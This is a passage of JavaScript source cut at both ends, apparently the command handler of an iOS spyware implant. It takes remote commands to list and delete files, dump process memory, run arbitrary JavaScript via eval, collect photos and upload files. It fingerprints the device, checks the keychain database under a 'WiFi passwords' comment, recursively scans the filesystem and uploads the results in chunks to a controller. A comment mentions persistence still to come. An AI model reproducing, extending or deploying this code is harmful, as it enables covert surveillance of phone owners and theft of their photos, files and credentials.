OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk usage\\n\";\n\tout += \" file Detect file type\\n\";\n\tout += \" hexdump [-n N] Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar 